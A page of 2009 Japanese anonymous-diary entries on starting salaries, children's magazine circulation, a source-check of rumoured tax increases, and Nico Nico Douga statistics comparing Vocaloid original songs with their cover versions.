学部・短大・高専・専門卒／216,600円

修士了／234,000円

（2009年4月新卒実績月給）

http://job.rikunabi.com/2011/company/employ/r181010098/

風の噂でヤフーはボーナスが減ったとか聞いたけど、この差を見るとその噂もあながち嘘ではない様に思える。

むしろ、他社が高すぎなのでは？

と「新卒で初任給22万ももらえるのかよ、社会人ってスゲー！！」と喜んでいた過去の自分がいささか滑稽に思える給与である。

Permalink | トラックバック(0) | 14:53

■追記

↓2007年10月～2008年9月

http://www.j-magazine.or.jp/data_001/commonness_4.html#001

↓2008年10月～12月

http://www.j-magazine.or.jp/magdata/index.php?module=list&action=list&cat1cd=3&cat3cd=56&period_cd=3

↓2009年4月～6月

http://www.j-magazine.or.jp/magdata/index.php?module=list&action=list&cat1cd=3&cat3cd=56&period_cd=5

ベビーブック 193,750→187,500→236,667

めばえ 220,834→212,500→203,334

幼稚園 215,000→191,250→165,000

入学準備学習幼稚園 103,750→95,000→98,000

おひさま 62,167→62,750→55,334

てれびくん 238,750→246,250→238,334

小学一年生 255,834→193,750→286,667

小学二年生 167,334→106,250→128,334

小学三年生 121,667→88,750→85,000

小学四年生 91,417→67,500→66,667

小学五年生 62,750→50,000→58,334

小学六年生 50,728→37,750→52,667

って作ってて思ったが読者からすれば

（2008年10月～12月）小学五年生50,000→（2009年4月～6月）小学六年生52,667

だよな。

1～3月発売のは前年と混じった情報のような。

Permalink | トラックバック(1) | 22:46

■http://anond.hatelabo.jp/20090831181457

それなら半分以上ソースがついてるよ

某所よりコピペ。頭の▲３つは補正予算執行停止関連らしいがよくわからん

285 名前：名無しの心子知らず[sage] 投稿日：2009/08/28(金) 19:55:09 ID:+zPt9zJQ

飽きてきたので現時点でわかったものを出すよ

○自動車税　一台につき年５万円増税 　（2003年管氏の高速無料化案での試算）　

→管直人の試算。http://www.47news.jp/CN/200306/CN2003062201000335.html

△ガソリン代170円/L 値上げ★　により現在の二倍以上に。（ＣＯ２削減用設備技術をガソリン代に乗せる）

→暫定税率との相殺により実質145円値上げ（どっちにせよ2倍以上）

○エコカー減税廃止

→鳩山の否定的な国会発言と補正予算全面見直しから濃厚

○環境税　光熱費と合わせてＣＯ２　２５％マイナスだと１世帯あたり年３６万円の負担増

（ＧＤＰ3.2％減により所得は年間２２万円減り　光熱費負担は年１４万円増える為）

なおかつ　全ての家を断熱性が高いエコハウスとし、９割に工事費込みで１００万円前後のエコキュート

太陽光発電や高効率給湯器の導入義務付け、次世代自動車以外の購入禁止で達成できる数値。

　　　　（自民党案では環境税は年７，７万）

→政府試算 http://sankei.jp.msn.com/life/environment/090826/env0908260823000-n3.htm

▲固定資産税　５万円増税

→ソースの要求あり。未確認

▲所得税　　　　５万円増税

→扶養控除廃止との重複でと子供手当がつくとの反論あり。でもそれなら7万増税だよなあ。未確認

▲地方税　　　　５万円増税

→ソースの要求あり。未確認

○株取引におけるキャピタルゲイン課税　　増税または総合課税に変更

→合意。ただし適正なものとの主張

○配偶者控除廃止 　　

→岡田氏表明 http://sankei.jp.msn.com/politics/policy/090719/plc0907191242001-n1.htm

286 名前：名無しの心子知らず[sage] 投稿日：2009/08/28(金) 19:57:31 ID:+zPt9zJQ

■次年度よりこれらの控除が廃止

○扶養控除廃止 　　（子供手当て・初年度は13000円…外国人未入籍児含む）

→岡田氏表明 http://sankei.jp.msn.com/politics/policy/090719/plc0907191242001-n1.htm

　　　…この二つにより子育て世代含め　２０００万世帯に増税

→赤旗の試算では差し引き7万円の増税 http://www.jcp.or.jp/akahata/aik09/2009-08-21/2009082102_03_1.html

△住宅ローン減税廃止

→廃止かは未確定。縮小の意向 http://www.yomiuri.co.jp/election/shugiin2009/news1/atmoney/20090807-OYT1T00017.htm?from=top

▲介護保険料　　増税

→ソースの要求あり。民主案ではここをいじるつもりがあることはわかる。未確認。

▲健康保険料　１０～２０％増税

→ソースの要求あり。未確認。

○たばこ税増税

→民主党税制調査会副会長の古川元久衆議院議員発言 http://www.kabutocho.net/news/livenews/news_detail.php?id=159805

○酒税（度数により発泡酒ワインウイスキー値上げ）

→民主党政策集より。発泡酒、高度数酒の値上げは必至。

http://sankei.jp.msn.com/politics/election/090801/elc0908012015009-c.htm

ただしビールは下がる可能性がある。

△エコポイント廃止

→財源の補正予算を全面見直し http://www.mof.go.jp/jouhou/syukei/h21/hosei210427.htm

■四年後じゃなく２，３年後からでも！

○年金保険料　　（上乗せ年金用）　職種に限らず（自営パートバイト派遣その他も）収入の１５％徴収 ！

→http://wwwnews1.blog34.fc2.com/blog-entry-312.html

▲会社員だけ労使折半は火消しの嘘か？

　　給与以外にＦＸや株式での収入、配当や利息収入家賃収入等があれば合計した収入の１５％徴収。

　　　　※　税金と社会保険料金一体化して番号制　にするので税金と同じように滞納の罪は重くなります 　　

→この部分意味がよくわからない。実際は何も決まっていないところかと。

○消費税　4年後１０～１５％増税 （基礎年金用）

→赤旗報道。ネクスト経済産業大臣発言

○年金未払い未加入の無年金の人に基礎一律七万円支給

→http://www.47news.jp/CN/200908/CN2009082001000720.html

287 名前：名無しの心子知らず[sage] 投稿日：2009/08/28(金) 20:04:36 ID:+zPt9zJQ

19項目のうち

▲：ソースがみつからないものが5項目

△：修正が必要なものが３項目

○：ソースの出てきたものが11項目

怪しいコピペだとは思ってたが半分以上ソースが出てきてワロタ

もちろん、こんなのは自民党バージョンだって作れるんだよ。ソースつきで。

それにこのコピペに含まれていない給付増もあるはず。

でも私が思うに民主党の問題点はそんなところにはないんだよ。

問題は彼らが言う政策を全部やるのに必要な財源を合計すると

年間予算の5%以上という莫大な資金が必要と考えられているのに、

「無駄を減らします」以上の具体案がほとんどない上に

国債発行しないとすら明言しちゃってるところ。

お金が足りなかったらごめんなさいすればいいとまで言っちゃってるところ。

収支とかそういう感覚がないのが一番怖い。

Permalink | トラックバック(2) | 18:28

■今日のpythonの人気ぶりはなんだ？

• JavaScript 15ページ中1ページ目を表示（合計：361件）
• Perl 14ページ中1ページ目を表示（合計：329件）
• Ruby 13ページ中1ページ目を表示（合計：325件）
• Java 12ページ中1ページ目を表示（合計：286件）

• Python 6ページ中1ページ目を表示（合計：133件）

昨日今日で1割超の14件を入れてもだ。

Permalink | トラックバック(0) | 18:56

■ボカロオリジナルを歌ってくれない2

前回の指摘を踏まえて

ボカロオリジナルを歌ってくれない（http://anond.hatelabo.jp/20090608225441）を書いた増田です。

ブコメでid:sky-graph、id:alshine5、id:kadotanimitsuruから「歌い手に人気がある動画を調べるなら歌ってみたの投稿数を見なきゃだめなんじゃないの？」と指摘があって、まったくその通りだと思った。前回調査をした時はなぜかそれを思いつかなかった（難しそうな気がしていた？）けど、やってみたら、思ったより簡単だったので、調べ直してみた。

調査してみた

再生数順位	曲名	作者	本体	歌ってみた	歌われ指数	本体投稿日
12	ロミオとシンデレラ	doriko	862,385	677	0.7850	2009/4/6
14	初めての恋が終わる時	supercell	825,981	631	0.7639	2008/12/12
30	Dear	19's Sound Factory	390,855	286	0.7317	2008/3/15
4	ブラック★ロックシューター	supercell	2,013,457	1261	0.6263	2008/6/13
2	メルト	supercell	4,475,848	2794	0.6242	2007/12/7
17	コンビニ	cokeshi	711,368	411	0.5778	2007/12/30
22	magnet	流星P	515,147	281	0.5455	2009/5/1
29	サンドリヨン	ゆのみP	407,386	208	0.5106	2008/8/25
3	ワールドイズマイン	supercell	2,673,191	1316	0.4923	2008/5/31
28	夕日坂	doriko	412,927	192	0.4650	2008/3/22
11	歌に形はないけれど	doriko	893,237	403	0.4512	2008/1/20
9	サイハテ	小林オニキス	1,155,966	514	0.4446	2008/1/16
27	celluloid	baker	425,774	172	0.4040	2007/10/5
31	Soar	流星P	373,889	136	0.3637	2008/3/19
6	恋は戦争	supercell	1,518,029	410	0.2701	2008/2/22
15	初音ミクの暴走	cosMo	752,162	199	0.2646	2007/10/22
23	夢みることり	はややP	507,903	105	0.2067	2008/2/5
33	ぶちぬけ！２００８！	doriko	348,274	55	0.1579	2007/12/24
24	永久に続く五線譜	デッドボールP	466,195	63	0.1351	2007/11/29
21	ハト	秦野P	552,116	69	0.1250	2007/12/20
20	桜の季節	ゆうゆP	587,547	69	0.1174	2007/11/2
7	ハジメテノオト	malo	1,398,334	158	0.1130	2007/10/14
5	初音ミクの消失	cosMo	1,682,390	189	0.1123	2008/4/8
26	白の季節	ゆうゆP	443,349	43	0.0970	2007/11/29
13	ミラクルペイント	OSTER project	834,541	70	0.0839	2007/11/22
19	えれくとりっく・えんじぇぅ	ヤスオP	617,862	48	0.0777	2007/10/10
1	みくみくにしてあげる♪	ika	6,397,403	469	0.0733	2007/9/20
18	あなたの歌姫	ボクP	665,444	43	0.0646	2007/9/18
32	Melody…	mikuru396	349,250	15	0.0429	2007/10/27
8	恋スルVOC@LOID	OSTER project	1,200,621	41	0.0341	2007/9/13
10	Packaged	kz	1,046,254	25	0.0239	2007/9/25
25	ファインダー	kz	457,683	9	0.0197	2008/1/5
16	私の時間	くちばしP	728,054	6	0.0082	2007/10/22

調査方法

• 2009年6月14日にニコニコ動画にて調査。
• 「ミクオリジナル曲」タグを再生順に上から30件取得＋タグのはずれていたミリオン超え動画「メルト」、「初音ミクの消失」、「恋は戦争」を取得。
• さらに、その曲名タグ＋「歌ってみた」タグ検索し、動画数を取得。
• （歌ってみた投稿数／オリジナル動画再生数）×1000を「歌われ指数」とする。
• 歌われ指数を降順でソート。

この調査の欠点

• 前回とおなじだけど、タグ頼りなので「歌ってみた」動画取得に漏れはあるかも。ただ、印象としては8割方拾えてそうな気がするし、今回は相対評価をしたいので、まあ、いいか。
• 再生数が極端に多い動画は低めに評価されるかも（例えば、「みくみくにしてあげる♪」の歌ってみた投稿数は469だから、絶対数でいえば多い方だけど、相対的には下位に入る）。

この結果を見た感想

予想通りだけど、投稿数のみでいえば「メルト」圧勝。「WIM」と「B★RS」が1000超えで、あとそれ以外、という感じ。

正直、これじゃあなんにも面白くないので、「歌われ指数」というのを導入してみた。算出手順は「調査方法」の通り。

「歌われ指数」でいうと、これはあまり意味のある数字ではないのでどれが多い少ないを言ってもしょうがないと思うけれど、0.3以上（つまり「Soar」以上）を上位と見なせば、やはりdoriko、supercell、流星Pが強いなという印象は受ける。

ゆうゆPとOSTER projectの場合

さて、この結果を友人に見せてみた。友人は、「ゆうゆP、歌われてないなあ……」とぼやいていた（ゆうゆP歌ってみた動画を熱望しているらしい）。

そういう意味では、元増田もOSTER project歌ってみた動画を熱望している。しかし、表中では下位である。

二人とも、表中の曲が、まだ歌ってみたが流行ってない時期（そんな時期があるのか分からないが）のものだから不利なのだろうか、最近は歌ってみたも結構増えてたりするのだろうか。

そんなことを思ったので、ついでにゆうゆP、OSTER projectの一連のオリジナル曲についても取ってみた。

そうすると、興味深いことが分かった。

投稿日順	曲名	作者	本体	歌ってみた	歌われ指数	本体投稿日
1	桜の季節	ゆうゆP	589,653	69	0.1170	2007/11/2
2	白の季節	ゆうゆP	444,803	42	0.0944	2007/11/29
3	クローバークラブ	ゆうゆP	222,634	11	0.0494	2008/1/3
4	experimental-001	ゆうゆP	37,299	0	0.0000	2008/1/18
5	experimental-002	ゆうゆP	33,727	0	0.0000	2008/1/21
6	夕音	ゆうゆP	96,402	5	0.0519	2008/6/22
7	渦と階段	ゆうゆP	33,962	1	0.0294	2008/7/13
8	エレクトロエレジー	ゆうゆP	54,330	0	0.0000	2008/8/30
9	極楽鳥 -bird of paradise-	ゆうゆP	144,756	211	1.4576	2008/10/6
10	UltraHardAttacks of OddMusiK	ゆうゆP	68,313	3	0.0439	2008/10/20
11	ハイウェイノート	ゆうゆP	56,533	10	0.1769	2009/3/11
12	カタパルトネーション	ゆうゆP	53,865	9	0.1671	2009/4/21

投稿日順	曲名	作者	本体	歌ってみた	歌われ指数	本体投稿日
1	恋スルVOC@LOID	OSTER project	1,207,038	41	0.0340	2007/9/13
2	Dreaming Leaf -ユメミルコトノハ-	OSTER project	192,627	29	0.1506	2007/10/8
3	おやすみのうた	OSTER project	97,414	15	0.1540	2007/11/1
4	ミラクルペイント	OSTER project	841,479	70	0.0832	2007/11/22
5	ちょこまじ☆ろんぐ	OSTER project	184,857	17	0.0920	2008/2/13
6	RING×RING×RING	OSTER project	181,411	8	0.0441	2008/3/9
7	フキゲンワルツ	OSTER project	134,407	13	0.0967	2008/4/29
8	つきうさぎ	OSTER project	154,708	78	0.5042	2008/6/20
9	8月の花嫁	OSTER project	146,680	4	0.0273	2008/8/30
10	trick and treat	OSTER project	346,775	69	0.1990	2008/10/30
11	プリンセス・カウガール・ショー	OSTER project	50,360	5	0.0993	2008/12/1
12	マージナル	OSTER project	84,794	13	0.1533	2008/12/15
13	ピアノ×フォルテ×スキャンダル	OSTER project	73,201	150	2.0492	2008/12/20
14	Around the World	OSTER project	181,486	2	0.0110	2009/1/31
15	one more kiss	OSTER project	77,437	28	0.3616	2009/5/29
16	ゆきうさぎ	OSTER project	23,138	5	0.2161	2009/6/11
17	恋色病棟	OSTER project	90,300	13	0.1440	2009/6/16

調査方法

• だいたい再生数上位30の調査とおなじ。
• 再生数上位30は全部タグ検索したけど、今回はタグのないやつがあったので、そういうのはキーワード検索。
• 2009年6月21日にニコニコ動画にて調査。

ゆうゆPに関しては、予想通りだけど、「experimental」シリーズは1曲も歌われてないよね……その代わりというわけではないけれど、「極楽鳥 -bird of paradise- 」が突出して歌われている。

一方、OSTER projectはというと、「ピアノ×フォルテ×スキャンダル」が再生数の比して突出して歌われている。あとは「つきうさぎ」と「one more kiss」が多いか。

調査結果からいえること

再生数上位群でいくと、やはりdoriko、supercell、流星Pが強い。ただ、これは作者依存というより、これらの作者が歌い手に好かれる楽曲をより多く作っているからに過ぎない。

というのも、再生数上位群の中ではあまり歌われていないゆうゆPとOSTER projectだが、彼らの楽曲の中にもすごくよく歌われている歌も存在するからだ。

作者という要素はまったく無視できないにせよ（人気作者の曲はやはり歌い手もその存在を認知しやすいだろう）、歌い手に好かれる要素の大部分は個別の楽曲の中に現れているといえる。

では、歌い手に好かれる楽曲とは……

ここでずばっと説明したいのだが、自分は音楽的素養がないためうまく言葉にできない。なんとなくは分かるんだけど。

id:y_arimとかだとこの辺をうまく説明してくれるのだろうか。なんて結論を投げ出してしまったり。

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■ボカロオリジナルを歌ってくれない（長文）

ボカロより「歌ってみた」の方がいいこともある

自分はニコニコ動画でボーカロイド（初音ミクとかのことね）のオリジナル曲をよく聴いている。

そんな自分でも、例えば、以下のような動画を見るにつけ、ボーカロイド――つまりロボット、が歌ったものより人間の歌ったものの方が断然いいなと思う。

　紅一葉

　オリジナル：黒うさP

　http://www.nicovideo.jp/watch/sm2465784

　歌ってみた：ヤマイ

　http://www.nicovideo.jp/watch/sm7231024

黒うさPのオリジナルもボーカロイドの調整は相当にできている方だが、人間とは比べるべくもない。ボーカロイドのコアなファンほど、案外、人間のよさをよく知っているのではないだろうか。

好きな曲が歌われない

さて、自分はボーカロイドオリジナル曲だと、ボカロがぼそぼそ歌っているようなものが結構好きだ。

　Jupiter Pop

　http://www.nicovideo.jp/watch/sm4309620

　夕凪と豪雨

　http://www.nicovideo.jp/watch/sm5388856

　はなればなれ

　http://www.nicovideo.jp/watch/sm5837532

上述した通り、自分はボーカロイドより人間が歌った方がいいと思っているので、これらの曲も人間が歌ってくれないかあと思うけれど、まあ、ほとんどない。

なぜか？

再生数の問題があると思う。上記3本はいずれも再生数が10000以下だけど、あまりに再生数が少ない場合、そもそも歌ってみたの歌い手がその楽曲を認知しないだろう。知らない歌は歌いようがない。また、再生数が少ない動画を歌ってみることに躊躇することもあるかもしれない。せっかく歌うのだからたくさん聴かれる方がいいに決まっているし、元々人気のある曲の方が初動は大きいだろう。

けれども、自分にはボーカロイドオリジナル曲の中でも「歌い手に好かれる曲」と「そうでない曲」があるのではないかと思えてならない。なぜかというと、どうも再生数が多いオリジナル曲の中にもあまり歌われていないものがあるような気がするからだ。

気がする、だけではよくないので、定量的に説明できるかと調査してみた。

調査してみた

方針としては、再生数の多いオリジナル曲を抽出し、そのオリジナルに対する歌ってみた動画の再生数を見れば、人気オリジナル曲の中でも「歌い手に好かれる曲」と「そうでない曲」の傾向がつかめるのではないか、というもの。

再生数順位	曲名	作者	歌い手	本体再生数（A）	歌ってみた再生数（B）	B/A（小数第5位で四捨五入）	本体投稿日
1	みくみくにしてあげる♪	ika	歌和サクラ	6,372,090	195,853	0.0307	2007/9/20
2	ワールドイズマイン	supercell	うさ	2,638,733	887,612	0.3364	2008/5/31
3	初音ミクの消失	cosMo	massΩ	1,649,182	206,762	0.1254	2008/4/8
4	ハジメテノオト	malo	that	1,389,425	258,395	0.1860	2007/10/14
5	サイハテ	小林オニキス	uinona	1,147,430	106,403	0.0927	2008/1/16
6	Packaged	kz	青もふ	1,042,100	53,958	0.0518	2007/9/25
7	歌に形はないけれど	doriko	THAT＆歌和サクラ	886,630	351,343	0.3963	2008/1/20
8	ミラクルペイント	OSTER project	mitten	831,120	36,485	0.0439	2007/11/22
9	ロミオとシンデレラ	doriko	花たん	828,126	426,570	0.5151	2009/4/6
10	初めての恋が終わる時	supercell	ちょうちょ	815,142	325,001	0.3987	2008/12/12
11	初音ミクの暴走	cosMo	内緒妹	828,126	111,722	0.1349	2007/10/22
12	私の時間	くちばしP	委員長	725,008	9,155	0.0126	2007/10/22
13	コンビニ	cokeshi	haloyosy	707,939	978,623	1.3824	2007/12/30
14	あなたの歌姫	ボクP	青もふ	663,734	16,937	0.0255	2007/9/18
15	えれくとりっく・えんじぇぅ	ヤスオP	青もふ	614,018	35,493	0.0578	2007/10/10
16	桜の季節	ゆうゆP	（合唱）	585,619	60,384	0.1031	2007/11/2
17	ハト	秦野P	大吟醸♂	549,577	25,951	0.0472	2007/12/20
18	ぽっぴっぽー	ラマーズP	タイツォン	510,007	209,286	0.4104	2008/12/11
19	夢みることり	はややP	ヤマイ＆うさ	503,442	140,145	0.2784	2008/2/5
20	永久に続く五線譜	デッドボールP	ヤマイ	464,341	25,924	0.0558	2007/11/29
21	ファインダー	kz	歌和サクラ	455,986	116,517	0.2555	2008/1/5
22	magnet	流星P	clear＆蛇足	443,904	239,435	0.5394	2009/5/1
23	白の季節	ゆうゆP	（合唱）	441,904	60,384	0.1366	2007/11/29
24	celluloid	baker	サリヤ人	419,868	68,027	0.1620	2007/10/5
25	夕日坂	doriko	うさ	409,819	117,433	0.2865	2008/3/22
26	サンドリヨン	ゆのみP	うさ ＆ トゥライ	400,921	315,552	0.7871	2008/8/25
27	Dear	19's Sound Factory	（合唱）	386,989	477,188	1.2331	2008/3/15
28	Soar	流星P	F9	370,495	257,700	0.6956	2008/3/19
29	Melody…	mikuru396	雌豚	348,324	86,983	0.2497	2007/10/27
30	ぶちぬけ！２００８！	doriko	ヤマイ	346,702	43,847	0.1265	2007/12/24
	メルト	supercell	haloyosy	4,438,517	1,906,088	0.4294	2007/12/7
	ブラック★ロックシューター	supercell	ゴム	1,971,868	1,027,386	0.5210	2008/6/13
	恋は戦争	supercell	ピコ	1,506,165	403,595	0.2680	2008/2/22
	恋スルVOC@LOID	OSTER project	青もふ	1,196,311	27,923	0.0233	2007/9/13

調査方法

• 2009年6月8日20時頃にニコニコ動画にて調査。
• 「ミクオリジナル曲」タグを再生順に上から30件取得＋タグのはずれていたミリオン超え動画「メルト」、「ブラック★ロックシューター」、「恋は戦争」、「恋スルVOC@LOID」も取得。
• さらに、その曲名をタグ検索し、最も再生数の多い歌ってみた動画1件を取得。
• 複数人が歌ったのをまとめたものは「（合唱）」としている。

この調査の欠点

• タグは荒れがちであり、荒れてなくても不確定なので、本来調査対象に含めるべきものが抜け落ちてしまう可能性がある。
• 調査を簡易に行うため、歌ってみたの再生数は最も多い動画1件のみから取得している。この場合、突出した1本の動画はないけれど幅広く歌われているような曲があったとしたら、低く評価される可能性がある。
• ボーカロイドの種類を初音ミクに限定しているため、鏡音リンやその他ではまた違った傾向が出るのかもしれない。
• そもそも「歌ってみたの再生数が多い」＝「歌い手に好かれてる」と言えるのか？　単に人気のある歌い手が歌ってるだけ、ではないか？　一応ここでは、「人気歌い手がつくような曲」≒「歌い手に好かれる曲」と苦しい言い訳をしておく。

調査結果から言えること――作者要因が大きい？

調査結果を見て自分でも、へー、と思ったのは、オリジナルより再生数の多い歌ってみた動画のあることだ。「コンビニ」と「Dear」がそれである（いずれも比の値が1より大きい）。ここに歌い手に好かれる鍵があるのだろうか？

また、比の値が0.1以下、つまり、最も人気のある歌ってみた動画でもオリジナル動画の再生数の1/10以下、と極めて低いものが10件（「みくみくにしてあげる♪」、「サイハテ」、「Packaged」、「ミラクルペイント」、「私の時間」、「あなたの歌姫」、「えれくとりっく・えんじぇぅ」、「ハト」、「永久に続く五線譜」、「恋スルVOC@LOID」）あるけれど、10件中9件が、オリジナルが2007年に投稿された古いものだ（初音ミクの発売は2007年8月）。古い時代はまだボカロオリジナルを歌ってみたが流行っていなかった、という仮説は妥当だろうか？　そうい傾向は強いにせよ、おなじ2007年投稿動画でも、「コンビニ」や「メルト」は比の値が大きい。だから、それだけとも言えないはずだ。

作者によって異なるというのはどうか。supercellや流星P、dorikoはいずれも比の値が大きい。彼らに共通する作風が、歌い手を引き寄せるということはないだろうか？

三人に共通するのは、いずれも電波色やキャラクターソング色がなく、歌い上げるような曲調が多いことだ。こういったところが、歌い手に気に入られる要因なのかもしれない。

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